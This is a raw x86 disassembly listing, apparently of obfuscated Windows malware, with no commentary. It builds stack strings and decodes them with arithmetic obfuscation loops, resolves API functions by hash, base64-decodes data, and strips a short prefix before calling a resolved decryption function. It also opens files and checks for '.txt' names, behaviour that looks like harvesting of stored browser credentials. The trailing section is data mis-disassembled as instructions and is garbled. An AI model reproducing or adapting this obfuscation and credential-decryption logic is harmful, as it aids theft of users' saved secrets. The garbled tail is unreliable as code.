mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x427810
mov dword [esp + 0x70], eax
mov edx, eax
sar edx, 1
mov eax, dword [esp + 0x64]
lea ecx, [edx + eax]
add ecx, 0xd
test ecx, ecx
mov dword [esp + 0x54], edx
jns 0x427840
mov eax, 0xffffffff
jmp 0x427849
add eax, edx
lea eax, [eax*2 + 0x1a]
push eax
call fcn.0040ced0
add esp, 4
movzx ecx, word [ebp]
mov dword [esp + 0x58], eax
test cx, cx
je 0x427881
mov edx, dword [esp + 0x6c]
mov eax, dword [esp + 0x58]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427870
mov word [eax], 0x5c
mov dword [esp], 0x11621f70
mov dword [esp + 4], 0x15771381
mov dword [esp + 8], 0x98a1777
mov dword [esp + 0xc], 0xd7f0b28
mov dword [esp + 0x10], 0x16d0f98
mov dword [esp + 0x14], 0x5650394
mov word [esp + 0x18], 0x704
mov ecx, esp
mov byte [ecx + 0x1e], 0
mov dword [ecx + 0x1a], 0
mov ecx, 0x47d5be05
nop
nop
movzx edx, byte [esp + ecx - 0x47d5be05]
xor edx, ecx
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0xe6
mov byte [esp + ecx - 0x47d5be05], dl
inc ecx
cmp ecx, 0x47d5be24
jne 0x4278d0
add eax, 2
movzx ecx, word [edi]
test cx, cx
je 0x427921
lea edx, [edi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427910
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x427951
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427940
mov word [eax], 0
lea eax, [esp + 0x60]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x68]
call fcn.00440ca0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x4c], edi
jmp dword [eax*4 + 0x448d10]
xor ebx, ebx
jmp dword [0x448d90]
lea eax, [esp + 0x5c]
push 0
push eax
push dword [esp + 0x68]
call fcn.00440fe0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448d18]
mov esi, dword [esp + 0x5c]
lea eax, [esi + 1]
push eax
call fcn.0040ced0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x6c]
call fcn.004410b0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448d20]
jmp dword [0x448d2c]
mov dword [esp + 0x68], edi
jmp dword [0x448d44]
push esi
call fcn.00404940
add esp, 4
mov dword [esp], 0xb4afbabd
mov dword [esp + 4], 0xa1a2a8a2
mov dword [esp + 8], 0xbcb8b0fa
mov dword [esp + 0xc], 0xa9aaa0aa
mov dword [esp + 0x10], 0x8cbfbbbb
mov dword [esp + 0x14], 0xe29887
xor ecx, ecx
xor edx, edx
nop
nop
nop
mov esi, ecx
and esi, 0x1a
mov ebx, edx
xor ebx, 0x4d
add ebx, esi
xor bl, byte [esp + edx]
add bl, 0x7f
mov byte [esp + edx], bl
inc edx
add ecx, 2
cmp edx, 0x18
jne 0x427a30
mov ecx, esp
push ecx
push eax
call fcn.00404d00
add esp, 8
mov esi, eax
mov ebx, 0xffffffff
mov eax, 0xfffffffe
mov edi, 0xfffffffd
nop
nop
nop
nop
nop
add eax, 2
add edi, 3
cmp byte [esi + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x427a70
shr edi, 2
mov ecx, ebx
xor ecx, 1
and eax, 0xfffffffc
sub eax, ecx
movzx eax, byte [esi + eax]
cmp eax, 0x3d
je 0x427a9b
cmp eax, 0x2e
jne 0x427a9c
dec edi
movzx eax, byte [esi + ebx - 2]
cmp eax, 0x3d
je 0x427aab
cmp eax, 0x2e
jne 0x427aac
dec edi
test ebx, ebx
je 0x427b14
mov ebp, 2
jmp 0x427acc
lea eax, [ebp + 4]
add ebp, 2
cmp ebp, ebx
mov ebp, eax
jae 0x427b14
movzx eax, byte [esi + ebp - 2]
push eax
call fcn.0041d450
add esp, 4
movzx eax, byte [esi + ebp - 1]
push eax
call fcn.0041d450
add esp, 4
cmp ebp, ebx
jae 0x427ac0
movzx eax, byte [esi + ebp]
push eax
call fcn.0041d450
add esp, 4
cmp al, 0x40
je 0x427ac0
lea eax, [ebp + 1]
cmp eax, ebx
jae 0x427ac0
movzx eax, byte [esi + ebp + 1]
push eax
call fcn.0041d450
add esp, 4
jmp 0x427ac0
mov eax, edi
not eax
and eax, 5
and edi, 0xfffffffa
sub edi, eax
mov dword [esp + 0x88], edi
mov esi, dword [esp + 0x50]
jmp case.0x426581.126
mov eax, dword [esp + 0x84]
add eax, 0xfffffffb
mov dword [esp + 0x88], eax
mov esi, dword [esp + 0x50]
jmp dword [0x448d4c]
push esi
call fcn.00404940
add esp, 4
mov dword [esp], 0xb4afbabd
mov dword [esp + 4], 0xa1a2a8a2
mov dword [esp + 8], 0xbcb8b0fa
mov dword [esp + 0xc], 0xa9aaa0aa
mov dword [esp + 0x10], 0x8cbfbbbb
mov dword [esp + 0x14], 0xe29887
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x1a
mov ebx, edx
xor ebx, 0x4d
add ebx, esi
xor bl, byte [esp + edx]
add bl, 0x7f
mov byte [esp + edx], bl
inc edx
add ecx, 2
cmp edx, 0x18
jne 0x427b90
mov ecx, esp
push ecx
push eax
call fcn.00404d00
add esp, 8
mov edi, 0xffffffff
mov edx, 0xfffffffe
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
mov ecx, edi
add edx, 2
add esi, 3
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x427bd0
shr esi, 2
mov ecx, edi
xor ecx, 1
and edx, 0xfffffffc
sub edx, ecx
movzx ecx, byte [eax + edx]
cmp ecx, 0x3d
je 0x427bfd
cmp ecx, 0x2e
jne 0x427bfe
dec esi
movzx ecx, byte [eax + edi - 2]
cmp ecx, 0x3d
mov dword [esp + 0x40], eax
je 0x427c11
cmp ecx, 0x2e
jne 0x427c12
dec esi
mov eax, esi
and eax, 1
mov dword [esp + 0x84], esi
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040ced0
add esp, 4
mov dword [esp + 0x38], eax
test edi, edi
je 0x427b30
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x74], edi
jmp 0x427c6a
mov edi, dword [esp + 0x74]
mov ebp, dword [esp + 0x3c]
lea eax, [esi + 4]
add esi, 2
mov ecx, ebp
cmp esi, edi
mov esi, eax
jae 0x427b30
mov dword [esp + 0x34], ecx
mov ebp, edi
mov edi, dword [esp + 0x40]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041d450
add esp, 4
mov bh, al
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041d450
mov edx, dword [esp + 0x38]
add esp, 4
mov bl, al
shl bh, 2
xor al, 0xc0
mov ecx, ebx
or cl, 0x30
and cl, al
shr cl, 4
add cl, bh
lea eax, [edx + 1]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x38]
mov byte [eax + edx], cl
cmp esi, ebp
jae 0x427c50
movzx eax, byte [edi + esi]
push eax
call fcn.0041d450
add esp, 4
cmp al, 0x40
mov edi, dword [esp + 0x74]
mov ebp, dword [esp + 0x3c]
je 0x427c58
shl bl, 4
mov ecx, eax
xor cl, 0xc0
mov edx, eax
or dl, 0x3c
and dl, cl
shr dl, 2
add dl, bl
mov ebx, dword [esp + 0x34]
lea ebp, [ebx + 2]
mov ecx, dword [esp + 0x38]
mov byte [ecx + ebx + 1], dl
lea ecx, [esi + 1]
cmp ecx, edi
jae 0x427c58
mov ecx, dword [esp + 0x40]
movzx ecx, byte [ecx + esi + 1]
push ecx
mov ebx, eax
call fcn.0041d450
add esp, 4
cmp al, 0x40
je 0x427c58
mov ecx, ebx
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
mov byte [ecx + edx + 2], al
add edx, 3
mov ebp, edx
jmp 0x427c58
mov ebp, dword [esp + 0x38]
mov eax, ebp
add eax, 5
mov dword [esp + 0x8c], eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
push 0x14e20a34
push dword [0x44cf9c]
call fcn.00440270
add esp, 8
lea ecx, [esp + 0x78]
lea edx, [esp + 0x88]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [esp + 0x68]
jmp dword [ecx*4 + 0x448d50]
xor ebx, ebx
jmp dword [0x448d60]
cmp dword [esp + 0x54], 0xfffffff8
jge 0x427daf
mov eax, 0xffffffff
jmp 0x427db6
mov eax, dword [esp + 0x70]
add eax, 0x10
push eax
call fcn.0040ced0
add esp, 4
mov dword [esp + 0x40], eax
mov dword [esp], 0x4faa499b
mov dword [esp + 4], 0x43904ddc
mov dword [esp + 8], 0x47ce41d4
mov dword [esp + 0xc], 0x7b7a45d0
mov byte [esp + 0x10], 0
mov eax, 1
mov edx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x34], edx
lea ecx, [eax - 1]
movzx ebx, byte [esp + eax - 1]
mov dword [esp + 0x3c], ebx
lea esi, [edx + 1]
or esi, 0x3acb5e12
or ecx, 0x3acb5e12
lea ebp, [ecx + esi]
lea edi, [eax + ebp]
mov edx, ebx
not edx
and edx, edi
mov ebx, edi
xor ebx, dword [esp + 0x3c]
add ebp, ebx
sub ebp, edx
sub edx, ebx
sub edx, ecx
sub edx, esi
add ebp, eax
add edx, dword [esp + 0x34]
and ebp, 0x6b
and edx, 0x94
or edx, ebp
and edi, dword [esp + 0x3c]
not edi
xor edx, 0x94
and edx, edi
add dl, 0xa6
mov byte [esp + eax - 1], dl
mov edx, dword [esp + 0x34]
inc eax
dec edx
cmp eax, 0x12
jne 0x427e00
mov edx, dword [esp + 0x4c]
movzx ecx, word [edx]
mov ebx, dword [esp + 0x40]
mov eax, ebx
test cx, cx
je 0x427ea1
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427e90
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
mov edi, dword [esp + 0x68]
mov esi, dword [esp + 0x50]
mov ebp, dword [esp + 0x38]
je 0x427ed1
lea edx, [esp + 2]
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ec0
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x78]
push dword [esp + 0x80]
push ebx
call fcn.0040d710
mov ecx, ebx
mov ebx, eax
jmp dword [0x448d58]
push ecx
call fcn.0040cee0
add esp, 4
push 0xbe5098bb
push dword [0x44cf84]
call fcn.00440270
add esp, 8
push dword [esp + 0x7c]
call eax
jmp dword [0x448d60]
jmp dword [0x448d6c]
push ebp
call fcn.0040cee0
add esp, 4
nop
push ebp
call fcn.0040cee0
add esp, 4
jmp dword [0x448d70]
push esi
call fcn.00404ef0
add esp, 4
mov ebp, dword [esp + 0x44]
jmp dword [0x448d88]
push ebp
call fcn.0040cee0
add esp, 4
mov ebp, edi
jmp dword [0x448dc8]
movzx edi, byte [esp + eax - 0xf1]
mov edx, eax
xor edx, ecx
and edx, edi
xor edx, ecx
mov bl, 0x4a
sub bl, dl
mov byte [esp + eax - 0xf1], bl
inc eax
dec ecx
cmp eax, 0x109
jne 0x427f80
mov edx, dword [esp + 0x4c]
movzx ecx, word [edx]
mov eax, ebp
test cx, cx
je 0x427fd1
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427fc0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
mov edi, dword [esp + 0x44]
je 0x428001
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ff0
mov word [eax], 0
mov dword [esp], 0xf7f609de
mov byte [esp + 4], 0
xor eax, eax
mov cl, 0x81
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax]
xor dl, cl
mov ch, 0x89
sub ch, dl
mov byte [esp + eax], ch
inc eax
dec cl
cmp eax, 5
jne 0x428020
push 0
push 0
push 0xc00000
lea eax, [esp + 0xc]
push eax
push esi
push ebp
push dword [esp + 0x120]
call fcn.00420950
add esp, 0x1c
mov ecx, dword [esp + 0x48]
and cl, 1
or cl, al
mov dword [esp + 0x48], ecx
jmp dword [0x448db0]
mov ebp, edi
jmp dword [0x448dc8]
push esi
call fcn.0040cee0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x448dd8]
push edi
call fcn.0040cee0
add esp, 4
mov eax, dword [esp + 0x60]
mov dword [esp], 0xf4f5fafb
mov ecx, esp
mov byte [ecx + 6], 0
mov word [ecx + 4], 0
mov ecx, 0x6e3a7956
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x6e3a7956]
not edx
mov esi, ecx
or esi, edx
lea edi, [esi + esi]
not edi
add edi, esi
and edx, ecx
or edx, edi
mov esi, edx
not esi
and esi, 0xaf
and edx, 0x50
sub edx, esi
inc dl
mov byte [esp + ecx - 0x6e3a7956], dl
inc ecx
cmp ecx, 0x6e3a795d
jne 0x4280b0
mov ecx, dword [0x44cf90]
test ecx, ecx
je 0x428120
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44cf94]
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428110
inc esi
cmp ecx, esi
jne 0x428100
jmp 0x428120
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428346
nop
nop
nop
nop
jmp dword [0x448d90]
push dword [esp + 0x58]
call fcn.0040cee0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x448da0]
movzx eax, bl
mov edx, dword [esp + 0x54]
jmp dword [eax*4 + 0x448da8]
mov eax, dword [esp + 0x64]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x428170
mov eax, 0xffffffff
jmp 0x428179
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.0040ced0
add esp, 4
mov esi, eax
movzx ecx, word [ebp]
test cx, cx
je 0x4281b1
mov edx, dword [esp + 0x6c]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4281a0
mov word [eax], 0x5c
mov dword [esp], 0xf306f114
mov dword [esp + 4], 0xef0ded7b
mov dword [esp + 8], 0xeb7ee909
mov dword [esp + 0xc], 0xe715e5c4
mov dword [esp + 0x10], 0xe375e16c
mov dword [esp + 0x14], 0x9f7f9d0e
mov dword [esp + 0x18], 0x9b079907
mov dword [esp + 0x1c], 0x97029570
mov dword [esp + 0x20], 0x931c910d
mov dword [esp + 0x24], 0x8f1a8d11
mov dword [esp + 0x28], 0x8b688914
mov word [esp + 0x2c], 0x8584
mov dword [esp + 0x2e], 0
xor ecx, ecx
nop
nop
movzx edi, byte [esp + ecx]
lea ebx, [ecx + 0x1fc5622c]
lea edx, [edi + edi]
not edx
add edx, edi
and edx, ebx
mov ebx, 0xd3
sub ebx, ecx
and ebx, edi
mov edi, edx
not edi
and edi, ebx
xor edx, ebx
add edx, ebx
sub edx, edi
mov edi, edx
not edi
and edi, 0x9edaeadd
and edx, 0x61251522
sub edx, edi
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
mov byte [esp + ecx], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0x32
jb 0x428220
add eax, 2
mov edx, dword [esp + 0x4c]
movzx ecx, word [edx]
test cx, cx
je 0x4282a1
add edx, 2
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428290
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x4282d1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4282c0
mov word [eax], 0
cmp dword [esp + 0x54], 0xfffffff7
jge 0x4282f0
mov eax, 0xffffffff
jmp 0x4282f7
mov eax, dword [esp + 0x70]
add eax, 0x12
push eax
call fcn.0040ced0
add esp, 4
mov ebp, eax
mov dword [esp], 0x41d24715
mov dword [esp + 4], 0x4ddc43ef
mov dword [esp + 8], 0x49da4fe3
mov dword [esp + 0xc], 0xb5e84be4
mov word [esp + 0x10], 0xb7b4
mov eax, esp
mov word [eax + 0x16], 0
mov dword [eax + 0x12], 0
mov eax, 0xf1
mov ecx, 0xe
jmp 0x427f80
push eax
push 1
push ecx
push dword [0x44cf98]
call fcn.0043d020
add esp, 0x10
jmp dword [0x448d90]
mov esi, eax
xor eax, eax
test esi, esi
setne al
xor ebx, ebx
jmp dword [eax*4 + 0x448d38]
jmp dword [0x448d88]
mov eax, dword [esp + 0x5c]
mov byte [edi + eax], 0
push edi
call fcn.00403e40
add esp, 4
mov eax, dword [esp + 0x5c]
mov byte [edi + eax], 0
push edi
call fcn.00403e40
add esp, 4
mov dword [esp + 0x50], eax
jmp dword [0x448d30]
jmp dword [0x448de4]
jmp dword [0x448de8]
jmp dword [0x448de8]
mov eax, dword [esp + 0x48]
and al, 1
add esp, 0xf4
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp dword [0x448ec8]
lea eax, [esp + 0x28]
push 0
push eax
push dword [esp + 0x18]
call fcn.00440fe0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x448df8]
mov dword [esp + 0x70], ebp
mov esi, dword [esp + 0x28]
lea eax, [esi + 1]
push eax
call fcn.0040ced0
add esp, 4
push 0
push esi
mov dword [esp + 0x28], eax
push eax
push dword [esp + 0x1c]
call fcn.004410b0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x448e00]
mov ebp, dword [esp + 0x70]
jmp dword [0x448ec0]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], 0xf4f5fafb
mov word [esp + 0x30], 0
mov byte [esp + 0x32], 0
mov ecx, 0x6e3a7956
movzx edx, byte [esp + ecx - 0x6e3a792a]
not edx
mov esi, ecx
or esi, edx
lea edi, [esi + esi]
not edi
add edi, esi
and edx, ecx
or edx, edi
mov esi, edx
not esi
and esi, 0xaf
and edx, 0x50
sub edx, esi
inc dl
mov byte [esp + ecx - 0x6e3a792a], dl
inc ecx
cmp ecx, 0x6e3a795d
jne 0x4285e0
mov ecx, dword [0x44cf90]
test ecx, ecx
je 0x42864c
mov edx, dword [esp + 0x2c]
xor esi, esi
mov edi, dword [0x44cf94]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428640
inc esi
cmp ecx, esi
jne 0x428630
jmp 0x42864c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428b58
mov eax, dword [esp]
and al, 1
jmp dword [0x448ec8]
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x20]
mov byte [esi + eax], 0
mov dword [esp], 0
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x2c], 0xd6c2c4da
mov dword [esp + 0x30], 0xd2cdd0ce
mov word [esp + 0x34], 0x95bb
mov byte [esp + 0x36], 0x76
lea eax, [esp + 0x37]
mov byte [eax + 2], 0
mov word [eax], 0
mov eax, 0x13c46715
mov ecx, 0x2c3b98ea
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax - 0x13c466e9]
mov ebx, ecx
or ebx, edi
lea edx, [edi + edi]
not edx
add edx, edi
or edx, eax
and edx, ebx
mov ebx, edx
not ebx
and ebx, 0x96
and edx, 0x69
sub ebx, edx
mov byte [esp + eax - 0x13c466e9], bl
inc eax
dec ecx
cmp eax, 0x13c46723
jne 0x4286b0
movzx ecx, byte [esp + 0x2c]
test cl, cl
je 0x428730
lea ebx, [esp + 0x2c]
mov eax, ebx
mov ebp, esi
jmp 0x428707
movzx ecx, byte [eax]
test cl, cl
je 0x428742
movzx edx, byte [esi]
test dl, dl
je 0x428740
inc esi
inc eax
lea edi, [ebp + 1]
cmp dl, cl
je 0x42871b
mov ebp, edi
mov esi, edi
je 0x428700
mov eax, ebx
jmp 0x428700
mov ebp, esi
jmp 0x428742
xor ebp, ebp
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x448e08]
lea esi, [ebp + 0xa]
movzx eax, byte [ebp + 0xa]
xor edx, edx
test al, al
je 0x428772
mov ecx, esi
nop
cmp al, 0x22
je 0x428770
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428760
jmp 0x428772
mov edx, ecx
mov ebx, edx
sub ebx, esi
xor eax, eax
cmp ebx, 5
setb al
jmp dword [eax*4 + 0x448e10]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x448e18]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x448e20]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x448e28]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x448e30]
lea edi, [ebx + 1]
jmp dword [0x448e40]
jmp dword [0x448e54]
mov dword [esp + 4], edx
lea eax, [edi + edi]
test edi, edi
jns 0x4287f6
mov eax, 0xffffffff
push eax
call fcn.0040ced0
add esp, 4
push dword [esp + 4]
push esi
push edi
push eax
mov edi, eax
call fcn.0040f050
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x18], edi
push edi
call fcn.00440ca0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e58]
mov eax, dword [esp + 4]
mov esi, eax
jmp dword [0x448ea8]
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x14]
call fcn.00440fe0
add esp, 0xc
test eax, eax
setns al
mov edi, dword [esp + 0x24]
cmp edi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448e60]
push edi
call fcn.0040ced0
add esp, 4
push 0
push edi
mov dword [esp + 0x24], eax
push eax
push dword [esp + 0x18]
call fcn.004410b0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e68]
xor edx, edx
mov ecx, dword [esp + 8]
jmp 0x4288b8
add ecx, 2
test di, di
je 0x4288c9
mov eax, edx
movzx edi, word [ecx]
mov edx, ecx
cmp di, 0x5c
je 0x4288b0
mov edx, eax
jmp 0x4288b0
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448e70]
xor edi, edi
xor eax, eax
jmp 0x4288f1
sub eax, dword [esp + 8]
mov edi, eax
sar edi, 1
and eax, 2
xor edi, 1
add edi, eax
mov eax, ebx
sub eax, edi
add eax, 0x1b
push eax
call fcn.0040ced0
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edi
sub ebx, edi
mov dword [esp + 0x2c], 0xdcded4f1
mov dword [esp + 0x30], 0xd1e3d9da
mov dword [esp + 0x34], 0xdefc21d4
mov dword [esp + 0x38], 0xe82de0d8
mov dword [esp + 0x3c], 0x1a2a2a0a
mov dword [esp + 0x40], 0xec161c2c
mov dword [esp + 0x44], 0xb6e2ef
mov eax, 0x72
mov ecx, 0x8d
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
and edi, 0x9b
mov edx, eax
and edx, 0x64
or edx, edi
xor dl, byte [esp + eax - 0x46]
xor dl, 0x9b
add dl, 0xc6
mov byte [esp + eax - 0x46], dl
inc eax
dec ecx
cmp eax, 0x8e
jne 0x428950
add esi, dword [esp + 0x14]
movzx ecx, byte [esp + 0x2c]
mov edi, dword [esp + 0x18]
mov eax, edi
test cl, cl
je 0x42899b
lea edx, [esp + 0x2d]
mov eax, edi
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428990
mov byte [eax], 0
test ebx, ebx
je 0x4289d3
mov ecx, dword [esp + 0x14]
add ecx, ebp
mov ebp, dword [esp + 4]
sub ebp, ecx
add ebp, 0xfffffff5
mov edi, ebx
and edi, 3
je 0x4289d7
xor edx, edx
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + edx], cl
inc edx
cmp edi, edx
jne 0x4289ba
add eax, edx
sub ebx, edx
mov edx, eax
jmp 0x4289d7
mov edx, eax
jmp 0x428a19
cmp ebp, 3
mov edi, dword [esp + 0x18]
jb 0x428a19
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 2], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
lea edx, [eax + 4]
mov byte [eax + 3], cl
mov eax, edx
add ebx, 0xfffffffc
jne 0x4289e0
mov byte [edx], 0
mov ecx, dword [esp + 0xcc]
push dword [esp + 0x24]
push dword [esp + 0x20]
push edi
call fcn.0040d8c0
mov ecx, dword [esp]
and cl, 1
or cl, al
mov dword [esp], ecx
jmp dword [0x448e78]
jmp dword [0x448e80]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], 0xf4f5fafb
lea ecx, [esp + 0x37]
mov byte [ecx - 5], 0
mov word [ecx - 7], 0
mov ecx, 0x6e3a7956
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x6e3a792a]
not edx
mov esi, ecx
or esi, edx
lea edi, [esi + esi]
not edi
add edi, esi
and edx, ecx
or edx, edi
mov esi, edx
not esi
and esi, 0xaf
and edx, 0x50
sub edx, esi
inc dl
mov byte [esp + ecx - 0x6e3a792a], dl
inc ecx
cmp ecx, 0x6e3a795d
jne 0x428a80
mov ecx, dword [0x44cf90]
test ecx, ecx
je 0x428ae8
mov edx, dword [esp + 0x2c]
xor esi, esi
mov edi, dword [0x44cf94]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428ae0
inc esi
cmp ecx, esi
jne 0x428ad0
jmp 0x428ae8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428b07
mov eax, dword [esp + 4]
mov esi, eax
jmp dword [0x448ea8]
push eax
push 1
push ecx
push dword [0x44cf98]
call fcn.0043d020
add esp, 0x10
mov eax, dword [esp + 4]
mov esi, eax
jmp dword [0x448ea8]
push edi
call fcn.0040cee0
add esp, 4
push edi
call fcn.0040cee0
add esp, 4
jmp dword [0x448e88]
mov eax, dword [0x448e9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push eax
push 1
push ecx
push dword [0x44cf98]
call fcn.0043d020
add esp, 0x10
mov eax, dword [esp]
and al, 1
jmp dword [0x448ec8]
arpl word [edx], ax
jns 0x448ba1
inc edx
add byte [esp + 0x64b60042], bl
inc edx
add byte [edx + 0x65], ah
inc edx
add bh, al
inc edx
add byte [eax - 0x67ffbd9b], cl
inc edx
add byte [eax + 0x5b004265], bl
inc edx
inc edx
add byte [eax + 0x5b004265], bl
inc edx
add ah, al
inc edx
add byte [esi + 0x67], al
inc edx
add bl, bh
inc edx
add byte [eax], ah
inc dx
add byte [esi], al
inc edx
add byte [eax], ah
inc dx
add byte [esi], dh
inc dx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, bl
je 0x448bc5
add byte [ecx], al
add byte [eax], al
add byte [esi], bl
inc edx
add byte [esi + 0x671e0042], al
inc edx
inc edx
add byte [edi], ah
outsd dx, dword [esi]
inc edx
add byte [esi], bl
inc edx
add byte [ebx + 0x6f], ch
inc edx
add byte [esi + 0x70], al
inc edx
jo 0x448be5
add byte [ecx + 0x6f], dh
inc edx
add byte [eax + 0x6f], dl
inc edx
add byte [esi + 0x70], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], bl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [eax], ch
inc edx
add byte [esi + 0x67], al
inc edx
inc edx
add byte [eax + 0x67], dl
inc edx
add byte [ebx + 0x67], bl
inc edx
add dl, dh
inc edx
add byte [eax], al
push 0x68000042
inc edx
add byte [eax], al
push 0x68000042
inc edx
add byte [esi], al
push 0x68180042
inc edx
add byte [ecx + 0x69], al
inc edx
add byte [esi], bl
push 0x69d40042
inc edx
add ah, dl
imul eax, dword [edx], case.0x426717.26
inc edx
imul eax, dword [edx], 57
insb byte es:[edi], dx
inc edx
add byte [ebx + 0x6e], al
inc edx
add byte [esi + 0x6c], ch
